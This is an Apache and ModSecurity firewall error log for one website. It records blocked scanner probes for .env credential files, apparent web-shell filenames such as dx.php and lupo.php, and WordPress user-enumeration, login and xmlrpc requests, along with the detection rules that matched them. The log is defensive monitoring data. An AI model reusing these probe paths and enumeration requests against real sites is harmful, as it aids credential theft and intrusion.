[Tue Apr 14 13:35:35.671828 2026] [:error] [pid 37226:tid 37242] [client 15.229.232.14:59762] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.uat"] [unique_id "ad3SJ5OA5-IQ0IVmQCon8gAAAU4"]
[Tue Apr 14 13:35:37.142122 2026] [:error] [pid 4902:tid 4919] [client 15.229.232.14:45916] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dist"] [unique_id "ad3SKYv8vJvl9lGy39hdhQAAAY8"]
[Tue Apr 14 13:35:38.617532 2026] [:error] [pid 4902:tid 4925] [client 15.229.232.14:45918] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.swp"] [unique_id "ad3SKov8vJvl9lGy39hdhgAAAZU"]
[Tue Apr 14 13:35:40.089915 2026] [:error] [pid 35629:tid 35682] [client 15.229.232.14:45932] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env~"] [unique_id "ad3SLDY8VahzC1YJBSjuNgAAAFc"]
[Tue Apr 14 13:35:41.553754 2026] [:error] [pid 4902:tid 4912] [client 15.229.232.14:45938] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "ad3SLYv8vJvl9lGy39hdiAAAAYg"]
[Tue Apr 14 13:35:43.018193 2026] [:error] [pid 35713:tid 35729] [client 15.229.232.14:45954] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/apps/.env"] [unique_id "ad3SL66-hhx6ZepqOSlU_AAAAM0"]
[Tue Apr 14 13:35:45.974295 2026] [:error] [pid 35630:tid 35705] [client 15.229.232.14:45964] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/web/.env"] [unique_id "ad3SMTer0pVFxOiOauUAcQAAAJM"]
[Tue Apr 14 13:35:47.446862 2026] [:error] [pid 35629:tid 35680] [client 15.229.232.14:33900] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/site/.env"] [unique_id "ad3SMzY8VahzC1YJBSjuPgAAAFU"]
[Tue Apr 14 13:35:48.911166 2026] [:error] [pid 35628:tid 35633] [client 15.229.232.14:33906] [client 15.229.232.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/public/.env"] [unique_id "ad3SNOfPm-ozGuwCWXLWZgAAAAE"]
[Tue Apr 14 14:30:30.259896 2026] [:error] [pid 35630:tid 35698] [client 212.47.78.118:63443] [client 212.47.78.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ad3fBjer0pVFxOiOauUe8AAAAIw"]
[Tue Apr 14 14:30:30.813488 2026] [:error] [pid 35628:tid 35656] [client 212.47.78.118:56407] [client 212.47.78.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "ad3fBufPm-ozGuwCWXLqjQAAABg"]
[Tue Apr 14 14:30:31.363125 2026] [:error] [pid 35629:tid 35660] [client 212.47.78.118:49725] [client 212.47.78.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/media/system/js/core.js"] [unique_id "ad3fBzY8VahzC1YJBSgFnQAAAEE"]
[Tue Apr 14 16:35:10.085935 2026] [:error] [pid 60074:tid 60084] [client 34.85.144.184:54917] [client 34.85.144.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.85.144.184, counter = 8"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ad38PutqnEmNU9vpHCkSywAAAMg"]
[Tue Apr 14 16:35:10.527917 2026] [:error] [pid 60074:tid 60078] [client 34.85.144.184:52110] [client 34.85.144.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.85.144.184, counter = 8"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ad38PutqnEmNU9vpHCkSzwAAAMI"]
[Tue Apr 14 16:35:10.975372 2026] [:error] [pid 59985:tid 59998] [client 34.85.144.184:57627] [client 34.85.144.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.85.144.184, counter = 8"] [hostname "agraphics.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ad38PugHaxkvLE6V1kkkPQAAAAU"]
[Tue Apr 14 16:59:37.096319 2026] [:error] [pid 60074:tid 60079] [client 168.144.32.73:59054] [client 168.144.32.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.144.32.73, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "ad4B-etqnEmNU9vpHCkl9wAAAMM"]
[Tue Apr 14 16:59:37.104756 2026] [proxy_fcgi:error] [pid 60074:tid 60079] [client 168.144.32.73:59054] AH01071: Got error 'Primary script unknown'
[Tue Apr 14 21:57:38.662642 2026] [:error] [pid 22177:tid 22191] [client 157.22.47.31:10779] [client 157.22.47.31] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "ad5H0oTVeJSXHDIlEDuQ0AAAAQw"], referer: https://www.google.com
[Tue Apr 14 21:57:46.723979 2026] [:error] [pid 22177:tid 22199] [client 157.22.47.31:40751] [client 157.22.47.31] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||agraphics.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ad5H2oTVeJSXHDIlEDuQ1QAAARQ"]
[Tue Apr 14 21:57:46.724316 2026] [:error] [pid 22177:tid 22199] [client 157.22.47.31:40751] [client 157.22.47.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.22.47.31, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ad5H2oTVeJSXHDIlEDuQ1QAAARQ"]
[Tue Apr 14 21:57:46.735450 2026] [proxy_fcgi:error] [pid 22177:tid 22199] [client 157.22.47.31:40751] AH01071: Got error 'Primary script unknown'
[Tue Apr 14 21:57:51.431389 2026] [:error] [pid 59986:tid 60020] [client 157.22.47.31:37489] [client 157.22.47.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.22.47.31, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "ad5H356axKeW6bX4H7eSRAAAAEA"], referer: https://www.google.com
[Tue Apr 14 21:57:51.435476 2026] [proxy_fcgi:error] [pid 59986:tid 60020] [client 157.22.47.31:37489] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Tue Apr 14 21:57:53.492390 2026] [:error] [pid 59987:tid 60070] [client 157.22.47.31:35987] [client 157.22.47.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.22.47.31, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "ad5H4VWpk-Tfi6_vLKpBJQAAAJc"], referer: https://www.google.com
[Tue Apr 14 21:57:53.496791 2026] [proxy_fcgi:error] [pid 59987:tid 60070] [client 157.22.47.31:35987] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Tue Apr 14 22:55:26.348546 2026] [:error] [pid 3810:tid 3820] [client 95.45.88.24:52813] [client 95.45.88.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.45.88.24, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ad5VXsqc5XaYZhFXVGfOyQAAAYc"]
[Tue Apr 14 22:55:26.359537 2026] [proxy_fcgi:error] [pid 3810:tid 3820] [client 95.45.88.24:52813] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 00:27:25.613982 2026] [:error] [pid 3810:tid 3831] [client 45.231.74.209:60510] [client 45.231.74.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.231.74.209, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ad5q7cqc5XaYZhFXVGf6jQAAAZI"]
[Wed Apr 15 00:27:25.625464 2026] [proxy_fcgi:error] [pid 3810:tid 3831] [client 45.231.74.209:60510] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:02:03.835728 2026] [proxy_fcgi:error] [pid 17734:tid 17754] [client 20.240.133.195:26379] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:02:04.106675 2026] [proxy_fcgi:error] [pid 17734:tid 17750] [client 20.240.133.195:26379] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:02:05.578841 2026] [proxy_fcgi:error] [pid 17734:tid 17756] [client 20.240.133.195:26379] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:02:05.850569 2026] [proxy_fcgi:error] [pid 17734:tid 17755] [client 20.240.133.195:26379] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:02:06.116328 2026] [proxy_fcgi:error] [pid 17734:tid 17753] [client 20.240.133.195:26379] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:02:06.383063 2026] [proxy_fcgi:error] [pid 17734:tid 17762] [client 20.240.133.195:26379] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:02:06.650031 2026] [proxy_fcgi:error] [pid 17734:tid 17746] [client 20.240.133.195:26379] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:02:06.915542 2026] [proxy_fcgi:error] [pid 17734:tid 17758] [client 20.240.133.195:26379] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:02:07.181276 2026] [proxy_fcgi:error] [pid 17734:tid 17763] [client 20.240.133.195:26379] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:02:07.650928 2026] [proxy_fcgi:error] [pid 17734:tid 17754] [client 20.240.133.195:26379] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:02:10.773088 2026] [:error] [pid 17734:tid 17748] [client 20.240.133.195:26379] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "ad5zEtN3xsztF3DFLWz6wwAAAIk"]
[Wed Apr 15 01:02:11.301017 2026] [:error] [pid 62295:tid 62301] [client 20.240.133.195:47727] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "ad5zExng-JDNFCa0Bnhl5AAAAAI"]
[Wed Apr 15 01:02:11.826440 2026] [:error] [pid 62297:tid 62366] [client 20.240.133.195:45060] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "ad5zE6vogcWlrafOEaG66gAAAQw"]
[Wed Apr 15 01:02:12.352059 2026] [:error] [pid 17804:tid 17817] [client 20.240.133.195:25902] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "ad5zFAAZKYxfpamecKd8AQAAAMc"]
[Wed Apr 15 01:02:12.890912 2026] [:error] [pid 17866:tid 17873] [client 20.240.133.195:32912] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "ad5zFLx_17kv70EUVIlB_QAAAYU"]
[Wed Apr 15 01:02:13.417392 2026] [:error] [pid 17804:tid 17827] [client 20.240.133.195:45867] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "ad5zFQAZKYxfpamecKd8AgAAANE"]
[Wed Apr 15 01:02:13.942975 2026] [:error] [pid 62296:tid 62328] [client 20.240.133.195:30978] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "ad5zFcTNd04nWM2DK4SBfAAAAEE"]
[Wed Apr 15 01:02:14.470904 2026] [:error] [pid 62432:tid 62438] [client 20.240.133.195:45057] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "ad5zFrPtNET7V_vfTPfOjAAAAUM"]
[Wed Apr 15 01:02:14.994018 2026] [:error] [pid 62297:tid 62364] [client 20.240.133.195:45103] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "ad5zFqvogcWlrafOEaG68QAAAQo"]
[Wed Apr 15 01:02:15.519868 2026] [:error] [pid 62296:tid 62337] [client 20.240.133.195:25876] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "ad5zF8TNd04nWM2DK4SBgQAAAEo"]
[Wed Apr 15 01:02:16.067374 2026] [:error] [pid 17804:tid 17812] [client 20.240.133.195:45087] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "ad5zGAAZKYxfpamecKd8BgAAAMI"]
[Wed Apr 15 01:02:16.595997 2026] [:error] [pid 62296:tid 62335] [client 20.240.133.195:47686] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "ad5zGMTNd04nWM2DK4SBiQAAAEg"]
[Wed Apr 15 01:02:17.119465 2026] [:error] [pid 17866:tid 17890] [client 20.240.133.195:32947] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "ad5zGbx_17kv70EUVIlCCgAAAZY"]
[Wed Apr 15 01:02:17.646460 2026] [:error] [pid 62297:tid 62370] [client 20.240.133.195:45878] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "ad5zGavogcWlrafOEaG69AAAARA"]
[Wed Apr 15 01:02:18.178051 2026] [:error] [pid 62297:tid 62372] [client 20.240.133.195:45114] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "ad5zGqvogcWlrafOEaG6-AAAARI"]
[Wed Apr 15 01:02:18.703135 2026] [:error] [pid 62295:tid 62316] [client 20.240.133.195:47733] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "ad5zGhng-JDNFCa0BnhmBwAAABE"]
[Wed Apr 15 01:02:19.242021 2026] [:error] [pid 17926:tid 17939] [client 20.240.133.195:30462] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "ad5zG_KxFvgDwMI04zBQZgAAAcY"]
[Wed Apr 15 01:02:19.765603 2026] [:error] [pid 17926:tid 17943] [client 20.240.133.195:47708] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "ad5zG_KxFvgDwMI04zBQagAAAco"]
[Wed Apr 15 01:02:20.302084 2026] [:error] [pid 17926:tid 17947] [client 20.240.133.195:47077] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "ad5zHPKxFvgDwMI04zBQbQAAAc4"]
[Wed Apr 15 01:02:20.830577 2026] [:error] [pid 62297:tid 62378] [client 20.240.133.195:47092] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "ad5zHKvogcWlrafOEaG6-wAAARg"]
[Wed Apr 15 01:02:21.359039 2026] [:error] [pid 62295:tid 62302] [client 20.240.133.195:45084] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "ad5zHRng-JDNFCa0BnhmDwAAAAM"]
[Wed Apr 15 01:02:21.885151 2026] [:error] [pid 62296:tid 62350] [client 20.240.133.195:31010] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "ad5zHcTNd04nWM2DK4SBmgAAAFc"]
[Wed Apr 15 01:02:22.414855 2026] [:error] [pid 62295:tid 62316] [client 20.240.133.195:45082] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "ad5zHhng-JDNFCa0BnhmEwAAABE"]
[Wed Apr 15 01:02:22.945897 2026] [:error] [pid 62297:tid 62370] [client 20.240.133.195:25898] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "ad5zHqvogcWlrafOEaG7AwAAARA"]
[Wed Apr 15 01:02:23.474118 2026] [:error] [pid 62297:tid 62354] [client 20.240.133.195:30413] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "ad5zH6vogcWlrafOEaG7BwAAAQA"]
[Wed Apr 15 01:02:24.019627 2026] [:error] [pid 62297:tid 62361] [client 20.240.133.195:30426] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "ad5zIKvogcWlrafOEaG7EAAAAQc"]
[Wed Apr 15 01:02:24.561323 2026] [:error] [pid 62297:tid 62354] [client 20.240.133.195:25883] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "ad5zIKvogcWlrafOEaG7GAAAAQA"]
[Wed Apr 15 01:02:25.090474 2026] [:error] [pid 62295:tid 62303] [client 20.240.133.195:47725] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "ad5zIRng-JDNFCa0BnhmGAAAAAQ"]
